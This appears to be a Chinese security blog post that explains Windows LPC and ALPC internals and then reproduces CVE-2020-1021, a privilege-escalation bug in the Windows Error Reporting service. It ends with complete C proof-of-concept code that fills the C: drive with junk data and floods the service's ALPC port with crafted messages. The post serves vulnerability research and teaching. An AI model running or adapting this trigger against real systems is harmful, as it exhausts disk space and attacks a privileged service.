标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-2858]   作者: 大猪 发表于: [2021-03-26]  [2021-03-26]被用户:大猪 修改过

本文共 [353] 位读者顶过

LPC介绍

LPC(本地过程调用)是用于通信的Microsoft Windows内核组件进程之间(IPC)。这个没有文档记录的接口是在Windows后台使用的,大多数系统组件使用LPC接口与较低级别的安全通信,服务列表仅通过此通道可用。

例如:[出自:jiwo.org]
CSRSS使用LPC端口管理线程和进程,RPC接口使用LPC传输进行本地通信,OLE通信基于LPC生成的端口。

该通信组件对于Windows体系结构非常重要。 可以看成具有权限级别支持的本地套接字。 作为Windows内核的内部组件,它是
微软没有文档记录的。

LPC 可用于两个用户模式过程、用户模式过程和内核模式驱动程序之间或两个内核模式驱动程序之间的通信。

LPC端口是Windows对象,进程可以创建命名的LPC端口,其他端口可以连接到这些端口,进程可以通过引用其名称进行连接。
可从使用Process Explorer查看LPC端口,几乎每个Windows进程都有一个LPC端口, LPC端口可以受ACL保护,共享段可用于LPC连接。

LPC 在客户端和服务器流程之间强制执行同步通信模型。Vista 使用一种称为异步本地过程间通信 (ALPC) 的新机制来弃用 LPC。ALPC 比 LPC 具有固有的优势,因为从客户端到服务器的所有呼叫都是异步的,即客户端不需要阻止/等待服务器响应消息。在 Vista 中,对 LPC ABI 的旧应用调用会自动重定向到较新的 ALPC ABI。

LPC API

LPC API是本机API,即它们由NTDLL.dll以用户模式导出,由NTOSKRNL.exe以内核模式导出。 LPC API未公开,因此Win32应用程序不能直接使用LPC工具。 但是,在使用RPC时,Win32应用程序可以通过协议序列“ ncalrpc”指定LPC作为其基础传输,从而间接使用LPC。 所有LPC API均以单词“ Port”结尾,这表示LPC通信端点。

NtCreatePort

服务器用来创建连接端口

NtConnectPort

客户端用于连接到连接端口

NtListenPort

服务器用来在连接端口上侦听连接请求。

NtAcceptConnectPort

服务器用于在连接端口上接受连接请求

NtCompleteConnectPort

服务器用来完成对连接请求的接受

NtRequestPort

用于发送没有回复的数据报消息

NtRequestWaitReplyPort

用于发送消息并等待回复

NtReplyPort

用于发送对特定消息的回复

NtReplyWaitReplyPort

用于发送对特定消息的答复并等待对上一条消息的答复

NtReplyWaitReceivePort

服务器使用它向客户端发送回复,并等待从客户端接收消息

NtImpersonateClientOfPort

服务器线程用于临时借用客户端线程的安全上下文

下图说明了LPC服务器进程侦听来自潜在客户端的入站连接请求所采取的步骤,以及客户端连接到侦听服务器所采取的步骤。
在这里插入图片描述
注意:许多服务器进程使用NtReplyWaitReceivePort()API而不是NtListenPort()。 NtListenPort()丢弃除连接请求之外的所有LPC消息。 因此,NtListenPort()只能用于第一个连接。 对于以后的连接请求,使用NtReplyWaitReceivePort()。

下图说明了LPC客户端向已建立连接的LPC服务器发送请求所采取的步骤,以及服务器响应消息所采取的步骤。
在这里插入图片描述

LPC数据结构

LPC端口数据结构

LPC端点称为端口。 LPC实现使用相同的端口结构来表示各种类型的端口。 LPC使用的端口是服务器连接端口,它们是由服务器进程创建的端口,用于接受来自客户端的传入连接。 由客户端进程创建以连接到服务器进程的客户端通信端口,以及由服务器进程创建的服务器通信端口。

在这里插入图片描述
LPCP_PORT_OBJECT是LPC用来表示LPC端口的内部数据结构。 LPCP_PORT_OBJECTs被分配到带有标签“PORT”的页面缓冲池之外。

kd> dt nt!_LPCP_PORT_OBJECT +0x000 ConnectionPort : Ptr32 _LPCP_PORT_OBJECT +0x004 ConnectedPort : Ptr32 _LPCP_PORT_OBJECT +0x008 MsgQueue : _LPCP_PORT_QUEUE +0x018 Creator : _CLIENT_ID +0x020 ClientSectionBase : Ptr32 Void +0x024 ServerSectionBase : Ptr32 Void +0x028 PortContext : Ptr32 Void +0x02c ClientThread : Ptr32 _ETHREAD +0x030 SecurityQos : _SECURITY_QUALITY_OF_SERVICE +0x03c StaticSecurity : _SECURITY_CLIENT_CONTEXT +0x078 LpcReplyChainHead : _LIST_ENTRY +0x080 LpcDataInfoChainHead : _LIST_ENTRY +0x088 ServerProcess : Ptr32 _EPROCESS +0x088 MappingProcess : Ptr32 _EPROCESS +0x08c MaxMessageLength : Uint2B +0x08e MaxConnectionInfoLength : Uint2B +0x090 Flags : Uint4B +0x094 WaitEvent : _KEVENT

	ConnectedPort

	指向服务器通讯端口

	ConnectionPort

	指向服务器连接端口

	MsgQueue.Semaphore

	用于向服务器线程发送有关MsgQueue.ReceiveHead中消息存在的信号。

	MsgQueue.ReceiveHead

	双向链表的头,包含所有等待服务器出队的消息。

	MsgQueue.NonPagedPortQueue
		
	指向用于客户端通信端口的LPCP_NONPAGED_PORT_QUEUE结构,以跟踪丢失的答复。

	LpcReplyChainHead

	双向链表的头,包含所有正在等待答复发送到此端口的消息的线程。
	
	Flags 标志位: #define SERVER CONNECTION_PORT0x00000001 #define UNCONNECTED COMMUNICATION PORT 0x00000002 #define SERVER COMMUNICATION _PORT Bx00000003 #define CLIENT_COMMUNICATION_PORT 0x00000004 #define PORT_WAITABLE0x20000000 #define PORT NAME DELETEDBx40000000 #define PORT DYNAMIC SECURITY0x80000000 

LPC消息数据结构

LPC 使用两种不同的机制在客户端和服务器进程之间传递数据。它使用 LPC 消息缓冲区(对于小于 304 字节的数据大小),或者使用映射到客户端和服务器地址空间的共享内存部分(用于数据大小超过 304 字节),32位上Msg最大328(包括消息头24),64位上Msg最大648(包括消息头40) )

客户端和服务器之间的所有交互都使用消息结构。 连接期间程序将消息发送到服务器。 它认为此消息与其他消息一样,只是该消息类型字段指定它是客户端连接请求。

此设计实现允许服务器在单个线程上处理所有请求。即使它减少了关键LPC端口上的应答时间,每个线程仍然可以使用经典的一个连接。

如果不查看消息的结构和类型,就无法理解LPC。

LPC消息是将信息从LPC客户端传送到LPC服务器的数据结构,并且可以是各种类型,例如连接,请求,关闭等。

消息类型 typedef enum _LPC_MSG_TYPE { LPC_NEW_MSG, LPC_REQUEST, LPC_REPLY, LPC_DATAGRAM, LPC_LOST_REPLY, LPC_PORT_CLOSED, LPC_CLIENT_DIED, LPC_EXCEPTION, LPC_DEBUG_EVENT, LPC_ERROR_EVENT, LPC_CONN_REQ, } LPC_MSG_TYPE; 消息结构 struct _PORT_MESSAGE { union { struct { SHORT DataLength; //0x0 SHORT TotalLength; //0x2 } s1; //0x0 ULONG Length; //0x0 } u1; //0x0 union { struct { SHORT Type; //0x4 SHORT DataInfoOffset; //0x6 } s2; //0x4 ULONG ZeroInit; //0x4 } u2; //0x4 union { struct _CLIENT_ID ClientId; //0x8 double DoNotUseThisField; //0x8 }; ULONG MessageId; //0x18 union { ULONGLONG ClientViewSize; //0x20 ULONG CallbackId; //0x20 }; }; 在此结构中,仅使用前三个字段。 ClientId字段指示已处理呼叫者
并穿线; 现在,该信息由内核函数填充。 这个领域负责
报告了欺骗错误。 当用户发送正常消息时,自定义数据将存储在
在DataSize字段中指定的LPC_MESSAGE结构和数据大小。 自定义数据取决于服务器
请求格式为套接字上的数据。 TotalSize字段是DataSize和LPC_MESSAGE的总和
Page 4 of 26 200862日
结构尺寸(0x18)。 MsgType字段通常是LPC_NEW_MSG,LPC_REQUEST或LPC_REPLY。
根据功能,错误的消息类型将得到纠正或返回错误。

在这里插入图片描述

kd> dt nt!_LPCP_MESSAGE +0x000 Entry : _LIST_ENTRY +0x000 FreeEntry : _SINGLE_LIST_ENTRY +0x004 Reserved0 : Uint4B +0x008 SenderPort : Ptr32 Void +0x00c RepliedToThread : Ptr32 _ETHREAD +0x010 PortContext : Ptr32 Void +0x018 Request : _PORT_MESSAGE
   
	Request.MessageId
	从全局的LpcpNextMessageId的值生成。 用于唯一地标识一条消息。
	SenderPort
	指向客户端通信端口的LPCP_PORT_OBJECT
	Entry
	是用于将消息排队到服务器通信/连接端口的MsgQueue.ReceiveHead的列表条目。
	Request
	是作为对NtRequestWaitReplyPort()的调用的Request参数提供的消息缓冲区的副本,或者是作为对NtReplyWaitRecivePortEx()的Reply参数提供	   
	的消息缓冲区的副本。

其中 PORT_MESSAGE 是对用户端可见的报文,LPCP_MESSAGE 是内核使用的实际报文格式。

LPCP_MESSAGE结构是从系统lookaside 列表中分配的,标签为“ LpcM”。

线程中的LPC相关字段

下表描述了ETHREAD数据结构的字段,这些字段用于LPC客户端和服务器进程之间的通信。

kd> dt nt!_ETHREAD -y Lpc +0x1c8 LpcReplyChain : _LIST_ENTRY +0x1f4 LpcReplySemaphore : _KSEMAPHORE +0x208 LpcReplyMessage : Ptr32 Void +0x208 LpcWaitingOnPort : Ptr32 Void +0x228 LpcReceivedMessageId : Uint4B +0x23c LpcReplyMessageId : Uint4B +0x250 LpcReceivedMsgIdValid : Pos 0, 1 Bit +0x250 LpcExitThreadCalled : Pos 1, 1 Bit
LpcReplyMessageId

包含在客户端线程等待响应时发送到服务器的消息的ID。

LpcWaitingOnPort

LPC客户端线程用于存储它正在等待答复的LPC客户端通信端口。

LpcReplySemaphore

在服务器处理LPC消息时,用于阻止LPC客户端线程。

LpcExitThreadCalled

Lpc API用来确定线程当前是否正在退出,如果退出,则从API调用返回STATUS_THREAD_IS_TERMINATING。

LpcReplyChain

用于将线程排队到等待来自服务器通信/连接端口的答复的线程列表。 该列表的列表头位于LPCP_PORT_OBJECT-> LpcReplyChainHead中。

重要的LPC连接端口

LsaAuthenticationPort 用于以下任务:
安全包管理,例如Kerberos,NTLM等…
凭证管理
用户帐号管理
EFS(加密文件系统)密钥加密,解密

SmssWinStationApiPort :
CSRSS使用此端口来管理Window Station,即多个会话。

ErrorLogPort:
IO管理器和其他组件使用此端口将错误日志条目发送到EventLog服务。

进程中重要的LPC字段

(nt!_EPROCESS)

SecurityPort :
LSA使用此端口进行EFS(加密文件系统)和身份验证。

ExceptionPort:
当线程没有捕获到异常时,将向该端口发送LPC_EXCEPTION消息。 子系统可能会在此字段中注册LPC端口,以接收子系统中正在运行的进程的第二次机会异常信息。 CSRSS的默认操作是终止该过程。

DebugPort:内核在此端口上将用户模式异常分派给进程调试器。 使用OutputDebugString()的调试输出作为DBG_PRINTEXCEPTION_C传递到此端口。

线程中重要的LPC字段

(nt!_ETHREAD)

TerminationPort:
这不是单个端口,而是在流程管理器中注册的端口链。 线程终止时,进程管理器会通知所有端口。

LpcWaitingOnPort:
当客户端线程等待来自服务器线程的LPC消息的答复时,此字段具有客户端通信端口的地址。

一些LPC资料

lpc 调试传送门:
https://docs.microsoft.com/en-us/archive/blogs/ntdebugging/lpc-part-2-kernel-debugger-extensions

PS:
你可以在网上找到相当多的lpc示例代码,由于pdf很久以前,给的网站都停或者迁移了,不过我找到了一个不错的
https://docs.microsoft.com/en-us/archive/blogs/ntdebugging/page-3

另外,现在有相当多并且优秀的的lpc的文章,下面是一个代码实现。

demo传说门:
https://bbs.pediy.com/thread-261668.htm

ALPC

Windows 在Vista引入了LPC的新版本,称为ALPC(高级本地过程调用),与LPC不同,它使用新的一组内核函数来调用。

NtAlpcAcceptConnectPort
NtAlpcCancelMessage
NtAlpcConnectPort
NtAlpcCreatePort
NtAlpcCreatePortSection
NtAlpcCreateResourceReserve
NtAlpcCreateSectionView
NtAlpcCreateSecurityContext
NtAlpcDeletePortSection
NtAlpcDeleteResourceReserve
NtAlpcDeleteSectionView
NtAlpcDeleteSecurityContext
NtAlpcDisconnectPort
NtAlpcImpersonateClientOfPort
NtAlpcOpenSenderProcess
NtAlpcOpenSenderThread
NtAlpcQueryInformation
NtAlpcQueryInformationMessage
NtAlpcRevokeSecurityContext

在这个新接口ALPC中,只有一个函数用来发送和接受消息:NtAlpcAcceptConnectPort

请记住,以前的所有LPC功能仍然可用,对于大多数操作,ALPC接口是不需要的。 ALPC接口继承了LPC消息结构和全局机制。

让我们看一些重要的ALPC功能细节:

这也使我们能够发现ALPC接口,它是Windows Vista中引入的LPC接口的演变,并试图
了解为什么在Windows Vista上更改了内核的这一部分。

您可以通过Process explorer来查看进程中是否存在ALPC端口以及进程中所有的ALPC端口名称。
.
我不想在这里讲太多理论,因为网上的可以参考的知识太少而且我也没有太多实践经验,在这里可以找到一个DEMO

https://github.com/DownWithUp/ALPC-Example

DataLength定义了消息最大长度,如果此次客户端发送的消息长度(64位上大小为0x28+自定义缓冲区长度)超过服务端规定的最大长度(NtAlpcSendWaitReceivePort 倒数第三个参数),那么消息将发送失败(NtAlpcSendWaitReceivePort: 0xC0000707)或者0xC000002F

CVE-2020-1021

CVE-2020-1021是Windows错误报告的本地提权漏洞,‪漏洞组件为C:\Windows\System32\wersvc.dll。

您可以根据cmd输入命令tasklist /m wersvc.dll来判断此服务是否启动。

在这里插入图片描述

如果此服务未启动,可以从服务列表中启动,如下图所示。
在这里插入图片描述

本人依据此漏洞挖掘者guhe的漏洞报告https://github.com/guhe120/Windows-EoP/tree/master/CVE-2020-1021所复现,我强烈建议先阅读此报告再来阅读本文。

寻找接口

当我寻找wersvc.dll的漏洞函数接口时,我第一时间想到的是RPC接口(本机RPC调用),之后使用RPC view查看此服务提供的接口,结果出乎预料的是此服务没有提供任何RPC接口函数。
在这里插入图片描述
接着我又想到了COM,于是我又使用OleViewDotNet发现还是此服务也未提供任何COM接口,如下图所示,没有COM接口的进程以及ID不会显示在图中。
在这里插入图片描述
后来尝试使用Process Monitor查看此服务进程的属性,发现此服务提供了一个ALPC端口:\WindowsErrorReportingServicePort
在这里插入图片描述
https://www.hexacorn.com/blog/2019/09/19/silentprocessexit-quick-look-under-the-hood有提到这个端口。

!alpc /lpp ffffcb04f56130c0  (eprocess)

在这里插入图片描述

一目了然,我们能看到此服务正启动了ALPC服务并且还有些进程连接了这个端口。

漏洞成因

guhe先生的在报告中描述了漏洞成因,让我们再次分析一下这个漏洞函数CWerService::SvcCollectMemoryInfo。

漏洞触发路径

现在我们知道漏洞的成因,接下来就是寻找CWerService::SvcCollectMemoryInfo函数如何触发调用

先对NtAlpcCreatePort函数交叉引用定位到创建\WindowsErrorReportingServicePort端口的位置。
在这里插入图片描述

然后能看到在创建端口后立马创建了一个线程作为服务端的回调函数。
在这里插入图片描述
在这里插入图片描述

下图中v30便是消息最大长度,可以看到在监听客户端连接成功后将消息缓冲区放到了Src里。

在这里插入图片描述

客户端发送过来的缓冲区第8个字节为1时,CWerService::_ProcessRequest将会被调用,并将消息缓冲区Src当成参数传递。

在这里插入图片描述
缓冲区第八个字节为消息类型,当消息类型为1时,代表客户端正常请求,只需要正常发送缓冲区边能进入CWerService::_ProcessRequest回调。
在这里插入图片描述
接下来进入CWerService::_ProcessRequest分析,可以看到第一处对消息引用以及判断在 CWerService::CheckIfValidPortMessage函数中,要想继续执行,必须让V5等于0。
在这里插入图片描述

在CWerService::CheckIfValidPortMessage中,v8是消息结构体偏移0x28处,而偏移0x28是自定义缓冲区的开始位置,要想返回0,v8需要是下面进行判断的值之一,或者不发送自定义缓冲区数据,而要想触发漏洞,必须将设置自定义缓冲区的头4个字节,所以v8必须是下面进行判断的值之一。

a2+2是消息类型,后面发现此值默认为·0x2001,1代表发送消息,而0x2000不得而知。

if ( *((__int16 *)a2 + 2) < 0 && *(_DWORD *)a2 == 0x11000E8 ) return 0i64; v8 = *((_DWORD *)a2 + 10); if ( v8 != 0x10000000 && v8 != 268435462 && v8 != 0x20000000 ) { if ( v8 == 2 ) { v9 = *((_DWORD *)a2 + 2); if ( v9 != GetCurrentProcessId() ) return 2147942405i64; } else if ( v8 != 0x50000000 && v8 != 0x60000000 && v8 != 0x80000000 && v8 != 0x90000000 && v8 != 0x30000000 && v8 != 0x40000000 && v8 != 0x10000007 && v8 != 0xB0000000 && (unsigned int)(v8 + 1073741822) > 2 && v8 != 0xD0000002 && v8 != 0xE0000002 && v8 != 0xF0000002 && v8 != 0xF0010002 && v8 != 0xF0020002 && v8 != 0xF0030002 && v8 != 0xF0040002 && v8 != 0xF0050002 && v8 != 0xF0060002 ) { return 0xD000001Ci64; } } return 0i64; 

当CWerService::CheckIfValidPortMessage返回0时,后面会创建一个线程池,设置回调函数为CWerService::StaticDispatchPortRequestWorkItem,并将消息缓冲区传递给回调函数。
在这里插入图片描述

CWerService::StaticDispatchPortRequestWorkItem在确认缓冲区后会直接调用CWerService::DispatchPortRequestWorkItem,继续将消息缓冲区传递。
在这里插入图片描述
接着进入CWerService::DispatchPortRequestWorkItem,可以很清楚的看到报告中所在的漏洞函数,由此可知,调用CWerService::SvcCollectMemoryInfo需要将消息缓冲区的自定义数据头4个字节设置为0xF0030002,且消息长度不能超过1400.

在这里插入图片描述

代码和总结

               

#include <stdio.h>

#include<windows.h>

#include <windef.h>
#include <Psapi.h>
#include <profileapi.h>
#define _CRT_SECURE_NO_DEPRECATE
#pragma warning(disable:4996)
#include"h.h"
#define MSG_LEN 0x550
RtlInitUnicodeString tRtlInitUnicodeString;
NtAlpcConnectPort tNtAlpcConnectPort;
NtAlpcSendWaitReceivePort tNtAlpcSendWaitReceivePort;
NtAlpcDisconnectPort tNtAlpcDisconnectPort;
NtAlpcAcceptConnectPort tNtAlpcAcceptConnectPort;
NtAlpcCreatePort tNtAlpcCreatePort;
AlpcInitializeMessageAttribute tAlpcInitializeMessageAttribute;
LPVOID CreateMsgMem(PPORT_MESSAGE PortMessage, SIZE_T MessageSize, LPVOID Message)
{
LPVOID lpMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MessageSize + sizeof(PORT_MESSAGE));
memmove(lpMem, PortMessage, sizeof(PORT_MESSAGE));
memmove((BYTE*)lpMem + sizeof(PORT_MESSAGE), Message, MessageSize);
return(lpMem);
}
void main()
{
PORT_MESSAGE pmSend;
PORT_MESSAGE pmReceive = { 0 };
NTSTATUS ntRet;
BOOLEAN bBreak;
SIZE_T nLen;
HANDLE hPort;
LPVOID lpMem;
DWORD szInput[MSG_LEN + 1];
DWORD64 qwFreeBytes, qwFreeBytesToCaller, qwTotalBytes;
GetDiskFreeSpaceEx(TEXT("C:"),
(PULARGE_INTEGER)&qwFreeBytesToCaller,
(PULARGE_INTEGER)&qwTotalBytes,
(PULARGE_INTEGER)&qwFreeBytes);
printf("[+] Disk free capacity: %lld M\n", qwFreeBytesToCaller / 1024 / 1024);
CreateDirectoryA("C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\test", 0);
HANDLE hFILE = CreateFileA("C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\test\\1234", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFILE == INVALID_HANDLE_VALUE)
{
printf("[-] CreateFile error\n");
getchar();
return 0;
}
printf("[+] Start consuming disk space \n");
if (SetFilePointer(hFILE, 0, NULL, FILE_END) != -1)
{
printf("[-] SetFilePointer error\n");
getchar();
return;
}
char* buff = malloc(qwTotalBytes / 1024);
DWORD dwWrite;
while (WriteFile(hFILE, buff, qwTotalBytes / 1024, &dwWrite, NULL) != 0) {}
while (WriteFile(hFILE, buff, 10000, &dwWrite, NULL) != 0) {}
CloseHandle(hFILE);
printf("[+] Has run out of disk space \n");
HANDLE hd = GetModuleHandleW(L"ntdll.dll");
tRtlInitUnicodeString = GetProcAddress(hd, "RtlInitUnicodeString");
tNtAlpcConnectPort = GetProcAddress(hd, "NtAlpcConnectPort");
tNtAlpcSendWaitReceivePort = GetProcAddress(hd, "NtAlpcSendWaitReceivePort");
tNtAlpcCreatePort = GetProcAddress(hd, "NtAlpcCreatePort");
tNtAlpcDisconnectPort = GetProcAddress(hd, "NtAlpcDisconnectPort");
tNtAlpcAcceptConnectPort = GetProcAddress(hd, "NtAlpcAcceptConnectPort");
if (!tRtlInitUnicodeString || !tNtAlpcConnectPort || !tNtAlpcSendWaitReceivePort || !tNtAlpcCreatePort || !tNtAlpcDisconnectPort || !tNtAlpcAcceptConnectPort)
{
printf("[-] Can't get the api address \n");
getchar();
return;
}
ALPC_PORT_ATTRIBUTES info = { 0 };
info.MaxMessageLength = 1400;
UNICODE_STRING usPort;
tRtlInitUnicodeString(&usPort, L"\\WindowsErrorReportingServicePort");
ntRet = tNtAlpcConnectPort(&hPort, &usPort, 0, &info, 0, NULL, NULL, NULL, NULL, NULL, NULL);
RtlSecureZeroMemory(&pmSend, sizeof(pmSend));
RtlSecureZeroMemory(&szInput, MSG_LEN);
szInput[0] = 0xF0030002;
pmSend.u1.s1.DataLength = MSG_LEN;
pmSend.u1.s1.TotalLength = MSG_LEN+0x28;
lpMem = CreateMsgMem(&pmSend, pmSend.u1.s1.DataLength, &szInput);
printf("[+] Call SvcCollectMemoryInfo \n");
while (1)
{
tNtAlpcSendWaitReceivePort(hPort, 0, (PPORT_MESSAGE)lpMem, NULL, NULL, NULL, NULL, NULL);
}
HeapFree(GetProcessHeap(), 0, lpMem);

}



头文件:


#include<windows.h>
#define InitializeObjectAttributes(i, o, a, r, s) { \
(i)->Length = sizeof(OBJECT_ATTRIBUTES); \
(i)->RootDirectory = r; \
(i)->Attributes = a; \
(i)->ObjectName = o; \
(i)->SecurityDescriptor = s; \
(i)->SecurityQualityOfService = NULL; \
}
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
_Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING* PUNICODE_STRING;
typedef const UNICODE_STRING* PCUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES* POBJECT_ATTRIBUTES;
typedef VOID
(WINAPI* RtlInitUnicodeString)(
__out PUNICODE_STRING DestinationString,
__in_opt PCWSTR SourceString
);
typedef struct _ALPC_PORT_ATTRIBUTES
{
ULONG Flags;
SECURITY_QUALITY_OF_SERVICE SecurityQos;
SIZE_T MaxMessageLength;
SIZE_T MemoryBandwidth;
SIZE_T MaxPoolUsage;
SIZE_T MaxSectionSize;
SIZE_T MaxViewSize;
SIZE_T MaxTotalSectionSize;
ULONG DupObjectTypes;
#ifdef _WIN64
ULONG Reserved;
#endif
} ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES;
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess; //32 vs 64
HANDLE UniqueThread; //32 vs 64
} CLIENT_ID, * PCLIENT_ID;
typedef short CSHORT;
typedef struct _PORT_MESSAGE
{
union
{
struct
{
CSHORT DataLength;
CSHORT TotalLength;
} s1;
ULONG Length;
} u1;
union
{
struct
{
CSHORT Type;
CSHORT DataInfoOffset;
} s2;
ULONG ZeroInit;
} u2;
union
{
CLIENT_ID ClientId;
double DoNotUseThisField;
};
ULONG MessageId;
union
{
SIZE_T ClientViewSize; // only valid for LPC_CONNECTION_REQUEST messages
ULONG CallbackId; // only valid for LPC_REQUEST messages
};
} PORT_MESSAGE, * PPORT_MESSAGE;
typedef struct _ALPC_MESSAGE_ATTRIBUTES
{
ULONG AllocatedAttributes;
ULONG ValidAttributes;
} ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES;
typedef NTSTATUS
(WINAPI* NtAlpcConnectPort)(
_Out_ PHANDLE PortHandle,
_In_ PUNICODE_STRING PortName,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes,
_In_ ULONG Flags,
_In_opt_ PSID RequiredServerSid,
_Inout_updates_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ConnectionMessage,
_Inout_opt_ PULONG BufferLength,
_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes,
_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes,
_In_opt_ PLARGE_INTEGER Timeout
);
typedef NTSTATUS
(WINAPI* NtAlpcSendWaitReceivePort)(
_In_ HANDLE PortHandle,
_In_ ULONG Flags,
_In_reads_bytes_opt_(SendMessage->u1.s1.TotalLength) PPORT_MESSAGE SendMessage,
_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES SendMessageAttributes,
_Out_writes_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ReceiveMessage,
_Inout_opt_ PSIZE_T BufferLength,
_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes,
_In_opt_ PLARGE_INTEGER Timeout
);
typedef NTSTATUS
(WINAPI* NtAlpcDisconnectPort)(
_In_ HANDLE PortHandle,
_In_ ULONG Flags
);
typedef NTSTATUS
(WINAPI* AlpcInitializeMessageAttribute)(
ULONG TypeFlag,
PVOID pMessageBuffer OPTIONAL,
ULONG BuffSize,
PULONG RequireSize
);
typedef NTSTATUS
(WINAPI* NtAlpcAcceptConnectPort)(
_Out_ PHANDLE PortHandle,
_In_ HANDLE ConnectionPortHandle,
_In_ ULONG Flags,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes,
_In_opt_ PVOID PortContext,
_In_reads_bytes_(ConnectionRequest->u1.s1.TotalLength) PPORT_MESSAGE ConnectionRequest,
_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ConnectionMessageAttributes,
_In_ BOOLEAN AcceptConnection
);
typedef NTSTATUS
(WINAPI* NtAlpcCreatePort)(
_Out_ PHANDLE PortHandle,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes
);






此代码仅能够触发漏洞wersvc!CWerService :: SvcCollectMemoryInfo 我的实验环境是1903 x64

如果未设置NtAlpcConnectPort的第四个参数ALPC_PORT_ATTRIBUTES中的MaxMessageLength字段,则NtAlpcSendWaitReceivePort发送的消息的长度不能超过0x200,并且将返回0xC000002F 如果发送长度超过服务器指定的最大长度(NtAlpcSendWaitReceivePort是底部的第三个参数),则将获得0xC0000707 错误

CreateFile将不受磁盘存储空间的影响。 WriteFile会。


评论

暂无
发表评论
 返回顶部 
热度(353)
 关注微信